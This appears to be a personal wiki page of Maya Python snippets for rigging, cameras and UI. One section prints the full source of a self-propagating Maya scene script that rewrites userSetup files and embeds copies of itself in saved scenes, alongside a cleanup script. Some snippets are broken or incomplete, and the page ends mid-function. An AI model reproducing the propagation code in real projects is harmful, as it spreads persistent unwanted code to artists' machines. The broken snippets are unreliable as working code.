Maya Python Temp
Jump to navigation
Jump to search
Auto frustrum
# # 9,11 ****** 2,12 # * 0 * # 6,8 ****** 3,5 # import maya.cmds as mc c = mc.curve(p=[[0.0, 0.0, -6.0], [0.0, 0.0, 0.0], [1.0, 0.5, -6.0], [1.0, -0.5, -6.0], [0.0, 0.0, 0.0], [1.0, -0.5, -6.0], [-1.0, -0.5, -6.0], [0.0, 0.0, 0.0], [-1.0, -0.5, -6.0], [-1.0, 0.5, -6.0], [0.0, 0.0, 0.0], [-1.0, 0.5, -6.0], [1.0, 0.5, -6.0], [0.0, 0.0, 0.0]],d=1)
Toggle resolution and film gate for all cams
import maya.cmds as mc
cams = mc.ls(typ='camera')
toggleVar = 1
if mc.getAttr(cams[0]+'.displayResolution'):
toggleVar = 0
for cam in cams:
mc.setAttr(cam+'.displayResolution',toggleVar)
mc.setAttr(cam+'.displayGateMask',toggleVar)
Gobelins fake virus thingy
Found in Gobelins animation rigs.
As the author stated, he knew this had the potential to duplicate. Will take a look later on, doesn't appear to do any harm other than pollute the script window with Chinese messages. Scriptjobs are crap.
https://discourse.techart.online/t/another-maya-malware-in-the-wild/12970
Quick removal
########################################
import os
for script in cmds.ls(type='script'):
if (script == "breed_gene" or script == "vaccine_gene"):
cmds.delete(script)
for sj in cmds.scriptJob(listJobs=True):
if "leukocyte" in sj:
job_num = int(sj.split(':', 1)[0])
cmds.scriptJob(kill=job_num, force=True)
scriptdir = cmds.internalVar(userAppDir=True)
script = scriptdir+'/scripts/vaccine.py'
if os.path.isfile(script):
os.remove(script)
cmds.warning("Self copy vaccine.py removed, edit your "+scriptdir+"/scripts/userSetup.py manually to clean it up")
########################################
Initial 'virus'-like scriptjob+userSetup with english translation
# coding=utf-8
# @Time : 2020/07/05 15:46
# @Author : 顶天立地智慧大将军
# @File : vaccine.py
# 仅作为公司内部使用保护 一旦泄露出去造成的影响 本人概不负责
# 'Only as a protection for the company's internal use, I will not be responsible for the impact once leaked'
import maya.cmds as cmds
import os
import shutil
class phage:
@staticmethod
def backup(path):
folder_path = path.rsplit('/', 1)[0]
file_name = path.rsplit('/', 1)[-1].rsplit('.', 1)[0]
backup_folder = folder_path + '/history'
new_file = backup_folder + '/' + file_name + '_backup.ma '
if not os.path.exists(backup_folder):
os.makedirs(backup_folder)
shutil.copyfile(path, new_file)
def antivirus(self):
health = True
self.clone_gene()
self.antivirus_virus_base()
virus_gene = ['sysytenasdasdfsadfsdaf_dsfsdfaasd', 'PuTianTongQing', 'daxunhuan']
all_script_jobs = cmds.scriptJob(listJobs=True)
for each_job in all_script_jobs:
for each_gene in virus_gene:
if each_gene in each_job:
health = False
job_num = int(each_job.split(':', 1)[0])
cmds.scriptJob(kill=job_num, force=True)
all_script = cmds.ls(type='script')
if all_script:
for each_script in all_script:
commecnt = cmds.getAttr(each_script + '.before')
for each_gene in virus_gene:
if commecnt:
if each_gene in commecnt:
try:
cmds.delete(each_script)
except:
name_space = each_script.rsplit(':',1)[0]
cmds.error(u'{}被感染了,但是我没法删除'.format(name_space))
#Is infected, but I can’t delete it
if not health:
file_path = cmds.file(query=True, sceneName=True)
self.backup(file_path)
cmds.file(save=True)
cmds.error(u'你的文件被感染了,但是我贴心的为您杀毒并且备份了~不用谢~')
#Your file was infected, but I thoughtfully disinfected and backed it up for you~ No thanks~
else:
cmds.warning(u'你的文件贼健康~我就说一声没有别的意思')
#Your file thief is healthy~ I just said nothing else
@staticmethod
def antivirus_virus_base():
virus_base = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel'
if os.path.exists(virus_base):
try:
os.remove(virus_base)
except:
cmds.error(u'杀毒失败')
def clone_gene(self):
vaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'
if not cmds.objExists('vaccine_gene'):
if os.path.exists(vaccine_path):
gene = list()
with open(vaccine_path, "r") as f:
for line in f.readlines():
gene.append(line)
cmds.scriptNode(st=1,
bs="petri_dish_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.py'\npetri_dish_gene = ['import sys\\r\\n', 'import maya.cmds as cmds\\r\\n', \"maya_path = cmds.internalVar(userAppDir=True) + '/scripts'\\r\\n\", 'if maya_path not in sys.path:\\r\\n', ' sys.path.append(maya_path)\\r\\n', 'import vaccine\\r\\n', \"cmds.evalDeferred('leukocyte = vaccine.phage()')\\r\\n\", \"cmds.evalDeferred('leukocyte.occupation()')\"]\nwith open(petri_dish_path, \"w\") as f:\n\tf.writelines(petri_dish_gene)",
n='vaccine_gene', stp='python')
cmds.addAttr('vaccine_gene', ln="notes", sn="nts", dt="string")
cmds.setAttr('vaccine_gene.notes', gene, type='string')
if not cmds.objExists('breed_gene'):
cmds.scriptNode(st=1,
bs="import os\nvaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\nif not os.path.exists(vaccine_path):\n\tif cmds.objExists('vaccine_gene'):\n\t\tgene = eval(cmds.getAttr('vaccine_gene.notes'))\n\t\twith open(vaccine_path, \"w\") as f:\n\t\t\tf.writelines(gene)",
n='breed_gene', stp='python')
def occupation(self):
cmds.scriptJob(event=["SceneSaved", "leukocyte.antivirus()"], protected=True)
list reference edits
import maya.cmds as cmds
for rl in cmds.ls(typ='renderLayer'):
lc = cmds.listConnections(rl+'.adjustments', p=1, c=0);
if lc:
print('\n------------------------------\n'+rl+':\n------------------------------\n\t'+'\n\t'.join(lc))
script = cmds.getAttr('%s.attributeOverrideScript' % rl)
print script
Turn Deformers On/Off
#for now it's split in two
import maya.cmds as mc
envelopes = []
for o in mc.ls():
if mc.attributeQuery('envelope', node=o, exists=True):
if mc.getAttr(o+'.envelope',se=True):
envelopes.append([o,mc.getAttr(o+'.envelope')])
mc.setAttr(o+'.envelope',0)
#-------------------------------------------------------------
for i in envelopes:
mc.setAttr(i[0]+'.envelope',i[1])
envelopes = []
UI generation
import maya.cmds as mc
class buttonGenerator(object):
def __init__(self):
self.buildUI()
def buttonPush(*args):
mc.warning(args[0])
def buildUI(self):
mc.window('',title='UI',resizeToFitChildren=1,w=600)
scrollLayout = mc.scrollLayout(horizontalScrollBarThickness=16,verticalScrollBarThickness=16)
mc.columnLayout(adjustableColumn=True, columnAlign='center',rowSpacing=10)
mc.rowLayout(numberOfColumns=3)
mc.button(w=55,l="Refresh",c=self.buttonPush)
mc.showWindow()
w = buttonGenerator()
super connection editor
from pymel.core import *
def buttonPressed(name):
print "pressed %s!" % name
win = window(title="Super Connection Editor")
layout = horizontalLayout()
for i in range(5):
button(label="button %s" % i,command = Callback( buttonPressed, i ) )
layout.redistribute() # now will redistribute horizontally
win.show()
create prim from bounding box
import maya.cmds as mc bbox = mc.xform(q=1,bb=1,ws=1) bbox = mc.polyEvaluate(bc=1) size = [(bbox[0][1]-bbox[0][0]),(bbox[1][1]-bbox[1][0]),(bbox[2][1]-bbox[2][0])] center = [(bbox[0][1]+bbox[0][0])/2,(bbox[1][1]+bbox[1][0])/2,(bbox[2][1]+bbox[2][0])/2] axises = [abs(size[2]-size[1]),abs(size[1]-size[0]),abs(size[2]-size[0])] if mc.polyCylinder(r=size[0]) mc.move(center[0],center[1],center[2]) sizes = [2 * x for x in center]
attach things to things ui
window = cmds.window( title="Attach stuff to stuff", iconName='Short Name', widthHeight=(150, 55),rtf=1 )
cmds.frameLayout(mh=10,mw=10,bv=0,l="")
cmds.columnLayout(adjustableColumn=True )
#cmds.rowLayout(adjustableColumn=True )
cmds.text( label='This script attaches objects to other\nobjects using follicles. Parent objects require\nnon-overlapping UVs.' )
cmds.text( label='\nObjects will be attached from their pivot\nto the closest point on parent mesh.\n In case of multiple parents, the script\nwill try to figure out which is the closest.\n' )
cmds.button( label='Set object(s) to attach' )
cmds.separator(st="none",h=10)
cmds.button( label='Set parent object(s) and apply', command=('cmds.deleteUI(\"' + window + '\", window=True)') )
#cmds.setParent( '..' )
cmds.showWindow( window )
counter animate
import maya.cmds as mc
#expects a poly face
#retrieve UV average
toUv =mc.polyListComponentConversion( tuv=True )
shp = mc.ls(sl=1,o=1)[0]
UVs = mc.polyEditUV(toUv, query=True )
U = V = 0.0
for i in range(len(UVs)/2):
U += UVs[2*i]
V += UVs[2*i+1]
U /= len(UVs)/2
V /= len(UVs)/2
#create follicle attach it
f = mc.createNode('follicle')
fObj = mc.listRelatives(f,p=1,f=1)[0]
mc.connectAttr(shp+".outMesh",f+".inputMesh")
mc.connectAttr(shp+".worldMatrix[0]",f+".inputWorldMatrix")
mc.connectAttr(f+".outTranslate",fObj+".translate")
mc.connectAttr(f+".outRotate",fObj+".rotate")
mc.setAttr(f+".parameterU", U)
mc.setAttr(f+".parameterV", V)
create curves on contact
import maya.cmds as mc
#### distance tooln, chopper les 2 objs ##########
mc.cycleCheck(c=1,e=0) #stop nag
obj = mc.ls(sl=1)[0]
targ = mc.ls(sl=1)[1]
objShp = mc.listRelatives(obj,s=1)[0]
targShp = mc.listRelatives(targ,s=1)[0]
objLoc = mc.spaceLocator()[0]
targLoc = mc.spaceLocator()[0]
objLocShp = mc.listRelatives(objLoc,s=1)[0]
targLocShp = mc.listRelatives(targLoc,s=1)[0]
cpom1 = mc.createNode('closestPointOnMesh')
mc.connectAttr(targShp+'.worldMesh[0]',cpom1+'.inMesh')
mc.connectAttr(targShp+'.worldMatrix[0]',cpom1+'.inputMatrix')
cpom2 = mc.createNode('closestPointOnMesh')
mc.connectAttr(objShp+'.worldMesh[0]',cpom2+'.inMesh')
mc.connectAttr(objShp+'.worldMatrix[0]',cpom2+'.inputMatrix')
mc.connectAttr(cpom1+'.result.position',objLoc+'.translate')
mc.connectAttr(cpom2+'.result.position',targLoc+'.translate')
mc.connectAttr(targLocShp+'.worldPosition',cpom1+'.inPosition')
mc.connectAttr(objLocShp+'.worldPosition',cpom2+'.inPosition')
dd = mc.distanceDimension(sp=(0,0,0),ep=(0,0,0))
mc.connectAttr(cpom1+'.result.position',dd+'.startPoint',f=1)
mc.connectAttr(cpom2+'.result.position',dd+'.endPoint',f=1)
#### select loc to bake, change threshold ################################
threshold = .06
substeps = 2
wallLoc = mc.ls(sl=1)[0]
wallLocShp = mc.listRelatives(wallLoc,s=1)[0]
resultLoc = mc.spaceLocator()[0]
start = int(mc.playbackOptions(q=1,min=1))
end = int(mc.playbackOptions(q=1,max=1))
strokePointList = []
for i in xrange(start*substeps,end*substeps,1):
time = i*1.0/substeps
mc.currentTime(time)
for i in range(3): #nasty hack to force cleaner closestPointOnMesh cycle
mc.setAttr(wallLoc+'.rotateY', 0)
dist = mc.getAttr(dd+'.distance')
pos = mc.getAttr(wallLocShp+'.worldPosition')[0]
mc.setAttr(resultLoc+'.translate',pos[0],pos[1],pos[2],type='double3')
mc.setKeyframe(resultLoc, at='translate')
if dist<threshold:
strokePointList.append(pos)
elif len(strokePointList) > 2:
print 'newCurve'
mc.curve(p=strokePointList,d=1)
strokePointList = []
else:
strokePointList = []
mc.select(wallLocShp)
zCtrl
import maya.cmds as mc
def oneCurveGrid(rezx=10,rezy=10,scalex=1,scaley=1):
points = []
sx = 1.0/(rezx-1)
sy = 1.0/(rezy-1)
for i in range(rezx/2):
for j in range(rezy):
points.append( [ ( 2.0 * i * sx -.5 ) * scalex , ( j * sy -.5 ) * scaley ,0] )
for j in reversed(range(rezy)):
points.append( [ ( ( 2.0* i + 1) * sx -.5 ) * scalex ,( j * sy -.5 ) * scaley ,0])
for i in range(rezy/2):
for j in reversed(range(rezx)):
points.append( [ ( j * sx -.5 ) * scalex , ( i*2.0 * sy -.5 ) * scaley ,0])
for j in range(rezx):
points.append( [ ( j * sx -.5 ) * scalex , ( ( i*2.0+1) * sy -.5 ) * scaley ,0])
for i in reversed(range(rezx)):
points.append( [((i * sx -.5)*scalex) ,((i * sx -.5)*scaley), 0])
return points
def zControl():
'''creates controllers to help with the focus distance. Plugs into 'focusDistance' of camera shape'''
# choose cam
selection = mc.ls(sl=True)
chosenCamera = False
if len(selection) > 0:
selShp = (selection[0],mc.listRelatives(selection[0],s=True))[mc.nodeType(selection[0])=='transform'] #gives us the shape
if mc.nodeType(selShp) == 'camera':
chosenCamera = selShp
else:
currentPanel = mc.getPanel(withFocus=True)
if mc.getPanel(typeOf=currentPanel) == 'modelPanel':
chosenCamera = mc.modelPanel(currentPanel,q=True,cam=True)
chosenCamera = mc.listRelatives(chosenCamera,s=True)
if not chosenCamera:
mc.warning('Select camera or perspective view')
else:
camObj = mc.listRelatives(chosenCamera,p=1)[0]
camShape = chosenCamera[0]
confirm = mc.confirmDialog( title='Confirm', message='Create z-depth controller for "'+camObj+'" ?', button=['Yes','No'], defaultButton='Yes', cancelButton='No', dismissString='No' )
if confirm == 'Yes':
#spaghetti code below
#floating locator system
floatingZLoc = mc.curve(p=[[-0.319, -0.001, 0.0], [0.621, 0.94, 0.0], [-1.0, 0.94, 0.0], [-1.0, 1.06, 0.0], [1.392, 1.06, 0.0], [-0.608, -0.94, 0.0], [1.0, -0.94, 0.0], [1.0, -1.06, 0.0], [-1.379, -1.06, 0.0], [-0.319, -0.001, 0.0], [0.0, 0.0, 0.0], [-0.233, -0.233, -0.233], [0.233, 0.233, 0.233], [0.0, 0.0, 0.0], [-0.233, -0.233, 0.233], [0.233, 0.233, -0.233], [0.0, 0.0, 0.0], [-0.233, 0.233, -0.233], [0.233, -0.233, 0.233], [0.0, 0.0, 0.0], [0.233, -0.233, -0.233], [-0.233, 0.233, 0.233]],d=1,n=camObj+'_zDepth_FloatCtrl')
projCurve = mc.curve(p=[[0,0,0],[0,0,1000]],d=1,n=camObj+'_longCurve') #create a curve to project our locator on
pc = mc.parentConstraint(camObj,projCurve,mo=False)[0] #curve follows camera
mc.setAttr(pc+'.target[0].targetOffsetRotateY',180)
cameraLocator = mc.spaceLocator(n=camObj+'_camLocator')[0] #locator on camera to get world position later
mc.pointConstraint(camObj,cameraLocator,mo=False)
floatingLocator = mc.spaceLocator(n=camObj+'_floatLocator')[0] #locator to get floating controller world pos
mc.parent(floatingLocator,floatingZLoc)
projectionLocator = mc.spaceLocator(n=camObj+'_projLocator')[0] #locator to project on curve
nPoc = mc.createNode('nearestPointOnCurve')
mc.connectAttr(mc.listRelatives(floatingLocator,s=True)[0]+'.worldPosition',nPoc+'.inPosition',f=True)
mc.connectAttr(mc.listRelatives(projCurve,s=True)[0]+'.worldSpace',nPoc+'.inputCurve',f=True)
mc.connectAttr(nPoc+'.position',projectionLocator+'.translate',f=True)
db = mc.createNode('distanceBetween')
mc.connectAttr(mc.listRelatives(projectionLocator,s=True)[0]+'.worldPosition',db+'.point1')
mc.connectAttr(mc.listRelatives(cameraLocator,s=True)[0]+'.worldPosition',db+'.point2')
#end result locator
resultLocator = mc.spaceLocator(n=camObj+'resultLocator')[0]
#camera based system
cameraGrid = mc.curve(p=oneCurveGrid(18,10,4,2.25),d=1,n=camObj+'_zDepth_Ctrl') #create a grid to visualize standard focus distance z
cameraGridNull = mc.group(em=True,n=camObj+'_zDepth_Ctrl_ZERO')
mc.parent(cameraGrid,cameraGridNull)
mc.parent(resultLocator,cameraGridNull)
pc2 = mc.parentConstraint(projCurve,cameraGridNull,mo=False)[0]
mc.setAttr(cameraGrid+'.tz',mc.getAttr(camShape+'.focusDistance'))
#choice system
sr = mc.createNode('setRange')
mc.setAttr(sr+'.oldMaxX',1)
mc.setAttr(sr+'.oldMaxY',1)
mc.setAttr(sr+'.maxY',0)
mc.setAttr(sr+'.minY',1)
mc.connectAttr(db+'.distance',sr+'.maxX',f=1)
mc.connectAttr(cameraGrid+'.tz',sr+'.minX',f=1)
mc.connectAttr(sr+'.outValue.outValueX',resultLocator+'.tz',f=True)
arrow = mc.annotate(resultLocator,p=(0, 0, 0))
arrowObj = mc.listRelatives(arrow,p=1)[0]
arrowObj = mc.rename(arrowObj,camObj+'_zDistance')
arrow = mc.listRelatives(arrowObj,s=1)[0]
mc.parent(arrowObj,cameraGridNull,r=True)
md = mc.createNode('multiplyDivide') #ridiculous hack to force annoation update
mc.connectAttr(camObj+'.tx',md+'.input2.input2X')
mc.connectAttr(sr+'.outValue.outValueX',md+'.input2.input2Y')
mc.connectAttr(floatingZLoc+'.tx',md+'.input2.input2Z')
mc.connectAttr(md+'.output',mc.listRelatives(arrow,p=1)[0]+'.translate')
#mostly controls and cosmetic stuff
for o in (projCurve,resultLocator,floatingLocator,projectionLocator,cameraLocator,pc2):
mc.setAttr(o+'.visibility',False)
for o in (cameraGrid,arrowObj):
for p in ('tx','ty','tz','sx','sy','sz','rx','ry','rz'):
mc.setAttr(o+'.'+p,keyable=False,channelBox=False )
mc.setAttr(cameraGrid+'.tz',keyable=True,channelBox=False )
mc.setAttr(cameraGrid+'.tx',lock=True)
mc.setAttr(cameraGrid+'.ty',lock=True)
mc.addAttr(arrowObj,ln='focusDistance',attributeType='long')
mc.setAttr(arrowObj+'.focusDistance',e=0,keyable=False,channelBox=True)
mc.connectAttr(sr+'.outValue.outValueX',arrowObj+'.focusDistance',f=True)
mc.addAttr(arrowObj,ln='useFloatingLocator',dv=0.0)
mc.setAttr(arrowObj+'.useFloatingLocator',e=1,keyable=True,channelBox=False)
mc.connectAttr(arrowObj+'.useFloatingLocator',sr+'.valueX',f=True)
mc.connectAttr(arrowObj+'.useFloatingLocator',sr+'.valueY',f=True)
mc.setAttr(arrow+'.overrideEnabled',1)
mc.setAttr(arrow+'.overrideColor',17)
mc.setAttr(cameraGrid+'.overrideEnabled',1)
mc.setAttr(cameraGrid+'.overrideColor',12)
mc.setAttr(floatingZLoc+'.overrideEnabled',1)
mc.setAttr(floatingZLoc+'.overrideColor',12)
zFocusGroup = mc.group(em=True,n=camObj+'_zFocusGroup')
mc.parent(cameraGridNull,floatingZLoc,projCurve,projectionLocator,cameraLocator,zFocusGroup)
mc.connectAttr(resultLocator+'.tz',camShape+'.focusDistance',f=1)
mc.select(arrowObj)
zControl()
locators on curve
import maya.cmds as mc
import maya.mel as mel
from random import uniform
def curveOnSurfaceFromCurve(curveObj,offsetDistance=0,offsetMove=[1,0,0]):
offset1 = mc.offsetCurve(curveObj,ugn=0,d=offsetDistance)
mc.setAttr(offset1[0]+".translate", offsetMove[0], offsetMove[1], offsetMove[2], type="double3")
offset2 = mc.offsetCurve(curveObj,ugn=0,d=-offsetDistance)
mc.setAttr(offset2[0]+".translate", -offsetMove[0], -offsetMove[1], -offsetMove[2], type="double3")
loftObj = mc.loft(offset1,offset2,u=1,ch=1)[0]
loftShp = mc.listRelatives(loftObj,s=1)[0]
v = mc.getAttr(loftShp+'.minMaxRangeV.maxValueV')
cOs = mc.curveOnSurface(loftObj,d=3,uv=((.5, 0),(0.5, 1*v/3), (0.5, 2*v/3), (0.5, v)))
return cOs
def setLocs(*args):
global pathAnims
global curveObj
global curveObjBase
mini = mc.floatSliderGrp(args[0],q=1,v=1)
maxi = mc.floatSliderGrp(args[1],q=1,v=1)
rando = mc.floatSliderGrp(args[2],q=1,v=1)/50.0
expr = 'float $v = '+curveObjBase+'.anim;\n'
count = len(pathAnims)
step = (maxi-mini)/float(count)
for p in range(len(pathAnims)):
expr = expr + pathAnims[p]+'.uValue = ($v + '+str(mini+step*float(p)+uniform(-rando,rando))+')%1;\n'
print expr
haveExp = mc.listConnections(curveObjBase+'.anim')
if haveExp:
mc.expression(haveExp[0],e=1,o=curveObjBase, s=expr )
else:
mc.expression(o=curveObjBase, s=expr )
global curveObjBase
global curveObj
global pathAnims
curveObjBase = mc.ls(sl=1)[0]
curveObj = curveOnSurfaceFromCurve(curveObjBase)
curveShp = mc.listRelatives(curveObj,s=1)[0]
pathAnims = []
if mc.nodeType(curveShp) == 'nurbsCurve':
result = mc.promptDialog(tx=10,message='Numb. of Locators:',button=['OK', 'Cancel'],defaultButton='OK',cancelButton='Cancel',dismissString='Cancel')
if result == 'OK':
count = int(cmds.promptDialog(query=True, text=True))
if mel.eval('attributeExists "anim" '+curveObjBase)==0:
mc.addAttr(curveObjBase,ln="anim")
mc.setAttr(curveObjBase+'.anim',e=1,k=1)
for i in range(count):
loc = mc.spaceLocator()
pathA = mc.pathAnimation(loc[0],wut='normal',follow=True,fm=True,c=curveShp)
#mc.pathAnimation(object,c=motionPathCurve,wut="normal",f=1,ua=customUpAxis,fa=customForwardAxis,fm=1,stu=mc.playbackOptions(q=1,minTime=1),etu=mc.playbackOptions(q=1,maxTime=1))
#mc.setAttr(pathA+'.fractionMode',0)
pathAnims.append(pathA)
anim = mc.listConnections(pathA+'.uValue')[0]
mc.disconnectAttr(anim+'.output',pathA+'.uValue')
mc.delete(pathA+'_uValue')
window = mc.window(title='spacing')
mc.columnLayout()
a = mc.floatSliderGrp( label='start', field=True,cc=lambda _:setLocs(a,b,c) )
b = mc.floatSliderGrp( label='end', field=True, value=1,cc=lambda _:setLocs(a,b,c) )
c = mc.floatSliderGrp( label='random', field=True, value=0,cc=lambda _:setLocs(a,b,c) )
mc.showWindow( window )
setLocs(a,b,c)
mc.select(curveObjBase)
attach 2-cv curves to other curves with cluster
from math import sqrt, fabs
import maya.cmds as mc
def mag(v1,v2):
return sqrt(pow(v2[0]-v1[0],2) + pow(v2[1]-v1[1],2) + pow(v2[2]-v1[2],2))
#first make a selection of curves that will be parent (attached to) curves
stickToList = mc.ls(sl=1)
#####################################################################################
#####################################################################################
#####################################################################################
#####################################################################################
#for each selected curves, go through end and start cvs (this implies it's a 2 cv curve)
#get closest matching curve and its parm value, return it in a list
attachments = []
edges = mc.ls(sl=1)
for e in edges:
for cv in range(2):
pos = mc.xform(e+'.cv['+str(cv)+']',q=1,ws=1,t=1)
#cv1 = mc.xform(e+'.cv[1]',q=1,ws=1,t=1)
nearestDist = 99999.0
selectedCurve = ''
parm = -1
npc = mc.createNode( 'nearestPointOnCurve')
for item in stickToList:
mc.connectAttr(mc.listRelatives(item,s=1)[0]+".worldSpace[0]", npc+".inputCurve", f=1)
mc.setAttr(npc+".inPosition", pos[0], pos[1], pos[2], type="double3")
nearPos = mc.getAttr(npc+".position")[0]
dist = mag(pos,nearPos)
if dist < nearestDist:
nearestDist = dist
selectedCurve = item
parm = mc.getAttr(npc+".parameter")
#debug -- print(e+'.cv['+str(cv)+']'+' - '+str(item)+' : '+str(dist)+' ('+selectedCurve+')')
mc.delete(npc)
attachments.append([e+'.cv['+str(cv)+']',selectedCurve, parm])
#create clusters on each end attached to curves w/ motion path
for item in attachments:
mc.select(item[0],r=1)
cl = mc.cluster()
pathAnim = mc.pathAnimation( cl, c=item[1] )
inputs = mc.listConnections(pathAnim+".uValue", s=1)
mc.disconnectAttr(inputs[0]+".output",pathAnim+".uValue")
mc.setAttr(pathAnim+".uValue",item[2])
copy paste skin weights
import maya.cmds as mc
import maya.mel as mel
influences = []
def copySkinWeight():
global influences
vtx = mc.ls(sl=1,fl=1)
obj = mc.ls(sl=1,o=1)[0]
sc = mel.eval('findRelatedSkinCluster("'+obj+'")')
values = mc.skinPercent(sc,str(vtx[0]),q=1,v=1,ib=0.0001)
transforms = mc.skinPercent(sc,str(vtx[0]),q=1,t=None,ib=0.0001)
influences = []
for i in range(len(transforms)):
influences.append((transforms[i],values[i]))
def pasteSkinWeight():
global influences
if len(influences) == 0:
mc.warning('copy weights first')
else:
vtx = mc.ls(sl=1)
mc.skinPercent(sc,vtx,tv=influences)
#add each def to shelf/function buttons
#copySkinWeight()
#pasteSkinWeight()
attach objects to closest objects
#to do: clean follicles
def attachThingsToThings(objects,targets,keepHierachy=True):
'''requires closestUV closestDistanceToMesh'''
for o in objects:
parents = mc.listRelatives(o,p=1,f=1)
smallest = 99999.9
closest = u''
outPos = []
#p = mc.xform(o,ws=1,q=1,t=1)
p = mc.xform(o,ws=1,q=1,rotatePivot=True)
for r in targets:
dist = closestDistanceToMesh(p,r)
if dist < smallest:
smallest = dist
closest = r
outPos = p
follicle = closestUV(outPos,closest,attachFollicle=1)
eg = mc.group(em=1,n=o+'zero')
mc.parent(eg,o)
mc.makeIdentity(eg)
mc.parent(eg,w=1)
mc.parent(o,eg)
mc.parentConstraint(follicle,eg,mo=1)
if keepHierachy and parents != None:
mc.parent(eg,parents[0])
def closestDistanceToMesh(position,target):
cpom = mc.createNode( 'closestPointOnMesh')
targetMesh = mc.listRelatives(target,s=1)[0]
mc.connectAttr(targetMesh+".worldMesh[0]",cpom+".inMesh")
mc.connectAttr(targetMesh+".worldMatrix[0]",cpom+".inputMatrix")
mc.setAttr(cpom+".inPosition", position[0], position[1], position[2], type="double3")
x = mc.getAttr(cpom+".result.position.positionX")
y = mc.getAttr(cpom+".result.position.positionY")
z = mc.getAttr(cpom+".result.position.positionZ")
p2 = [x,y,z]
mc.delete(cpom)
return mag(position,p2)
projected point on mesh + UVs
def intersect(object,target,bidirectional=1):
'''returns a position if there's an intersetction'''
targetMesh = mc.listRelatives(target,s=1)[0]
poly = mc.polyPlane(sx=2,sy=2,w=.01,h=.01)[0]
mc.parent(poly,object)
mc.makeIdentity(poly)
centervtx = str(poly)+".vtx[4]";
pos = mc.pointPosition(centervtx)
mc.select(poly,target,r=1)
wrap = mc.deformer(poly,type="shrinkWrap" )[0]
mc.connectAttr(targetMesh+".worldMesh[0]",wrap+".targetGeom")
mc.setAttr(wrap+".projection",3)
mc.setAttr(wrap+".bidirectional",bidirectional)
pos2 = mc.pointPosition(centervtx)
mc.delete(wrap,poly)
if pos==pos2:
return False
else:
return pos2
def closestUV(position,target,attachFollicle=0):
'''target geo MUST have its transforms frozen'''
cpom = mc.createNode( 'closestPointOnMesh')
targetMesh = mc.listRelatives(target,s=1,f=1)[0]
mc.connectAttr(targetMesh+".worldMesh[0]",cpom+".inMesh")
mc.connectAttr(targetMesh+".worldMatrix[0]",cpom+".inputMatrix")
mc.setAttr(cpom+".inPosition", position[0], position[1], position[2], type="double3")
getU = mc.getAttr(cpom+".result.parameterU")
getV = mc.getAttr(cpom+".result.parameterV")
mc.delete(cpom)
if attachFollicle:
follicle = mc.createNode('follicle')
follicleObj = mc.listRelatives(follicle,p=1,f=1)[0]
mc.connectAttr(targetMesh+".outMesh",follicle+".inputMesh")
mc.connectAttr(targetMesh+".worldMatrix[0]",follicle+".inputWorldMatrix")
mc.connectAttr(follicle+".outTranslate",follicleObj+".translate")
mc.connectAttr(follicle+".outRotate",follicleObj+".rotate")
mc.setAttr(follicle+".parameterU", getU)
mc.setAttr(follicle+".parameterV", getV)
return follicleObj
else:
return [getU,getV]
import maya.cmds as mc
from math import sqrt
create oriented joints from edge loop
import maya.cmds as mc
import maya.mel as mel
from math import pi, sqrt, fabs
def bonesFromEdgeLoop(edgeLoop, numberOfBones = 4, front = [0,0,0]):
'''creates a number of joints on edge loops, returns list of joints in the order'''
numPoints = numberOfBones + 1
edges = edgeLoop #expects an edge loop
mc.setToolTo( 'moveSuperContext' )
mmcMode = mc.manipMoveContext( 'Move', q=1, mode=1)
mc.manipMoveContext( 'Move', e=1, mode=9) #set to normals avg
#iteratate through edges, get normal and position, put locators
locatorPositions = []
locatorRotations = []
locators = []
for edge in edges:
faces = mc.polyListComponentConversion(edge, tf=1)
mc.select(faces,r=1)
mmc = mc.manipMoveContext( 'Move', q=1, position=1, oa=1)
loc = mc.spaceLocator()[0]
locatorPositions.append([mmc[0],mmc[1],mmc[2]])
locatorRotations.append([mmc[3],mmc[4],mmc[5]])
mc.setAttr ( '%s.translate' % loc, mmc[0], mmc[1], mmc[2] )
mc.setAttr ( '%s.rotate' % loc, deg(mmc[3]), deg(mmc[4]), deg(mmc[5]) )
locators.append(loc)
mc.manipMoveContext( 'Move', e=1, mode=mmcMode) #set it back
mc.select(edges, r=1)
edge = mel.eval('polyToCurve -form 2 -degree 1')[0]
uParms = equidistantPoints(edge, numPoints , tolerance = 0.005)
uPos = positionsFromParams(edge, uParms)
edgeShape = mc.listRelatives(edge,s=1)[0]
maxU = mc.getAttr(edgeShape+".maxValue")
endA = mc.pointPosition( edge + '.u['+str(uParms[0])+']')
endB = mc.pointPosition( edge + '.u['+str(uParms[-1])+']')
curveStartOrigin = front # figuring out
chooseStart = closest(curveStartOrigin,[endA,endB]) # which end is the start
upLocators = []
jointLocators = []
joints = []
for i in range(len(uParms)):
n = len(uParms)-1-i if chooseStart else i
pos = positionsFromParams( edge, [uParms[n]])[0]
loc = mc.spaceLocator(p=[0,0,0])[0]
jointLocators.append(loc)
mc.setAttr(loc+".tx",pos[0])
mc.setAttr(loc+".ty",pos[1])
mc.setAttr(loc+".tz",pos[2])
closestLoc = locators[closest(pos,locatorPositions)]
upLoc = mc.duplicate(closestLoc)[0]
upLocators.append(upLoc)
mc.parent(upLoc,closestLoc)
mc.setAttr(upLoc+".tx",.5)
mc.parent(upLoc,w=1)
for i in range(len(jointLocators)-1):
ac = mc.aimConstraint( jointLocators[i+1], jointLocators[i], wut= 'object', wuo = upLocators[i] )
mc.delete(ac)
#set rot of last locator to the second to last
r = list(mc.getAttr ( '%s.rotate' % jointLocators[-2] )[0])
mc.setAttr ( '%s.rotate' % jointLocators[-1], r[0], r[1], r[2] )
jointsList = []
previousJnt = ""
for i in range(len(jointLocators)):
r = list(mc.getAttr ( '%s.rotate' % jointLocators[i] )[0])
t = list(mc.getAttr ( '%s.translate' % jointLocators[i] )[0])
mc.select(cl=1)
jnt = mc.joint(p=t)
mc.setAttr (jnt+'.jointOrientX', r[0])
mc.setAttr (jnt+'.jointOrientY', r[1])
mc.setAttr (jnt+'.jointOrientZ', r[2])
if(previousJnt != ""):
mc.parent(jnt,previousJnt)
previousJnt = jnt
if i == len(jointLocators)-1:
jnt = mc.rename(jnt,jnt+'_end')
jointsList.append(jnt)
mc.select(cl=1)
# tidy up
mc.delete(upLocators,edge,locators,jointLocators)
mc.select(jointsList[0],r=1)
return jointsList
def deg(rad):
return 180.0/pi*rad
def closest(point, list):
index = -1
min = 9999999.0
for i in range(len(list)):
